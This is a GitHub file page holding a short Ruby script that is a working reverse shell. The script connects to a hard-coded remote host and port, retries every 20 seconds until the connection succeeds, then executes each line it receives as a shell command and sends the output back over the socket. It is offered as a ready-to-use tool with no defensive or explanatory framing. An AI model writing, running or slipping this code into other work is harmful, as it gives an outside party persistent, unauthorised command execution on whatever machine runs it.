Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
executable file
29 lines (25 sloc)
566 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'socket' | |
require 'open3' | |
#Set the Remote Host IP | |
RHOST = "192.168.1.10" | |
#Set the Remote Host Port | |
PORT = "6667" | |
#Tries to connect every 20 sec until it connects. | |
begin | |
sock = TCPSocket.new "#{RHOST}", "#{PORT}" | |
sock.puts "We are connected!" | |
rescue | |
sleep 20 | |
retry | |
end | |
#Runs the commands you type and sends you back the stdout and stderr. | |
begin | |
while line = sock.gets | |
Open3.popen2e("#{line}") do | stdin, stdout_and_stderr | | |
IO.copy_stream(stdout_and_stderr, sock) | |
end | |
end | |
rescue | |
retry | |
end |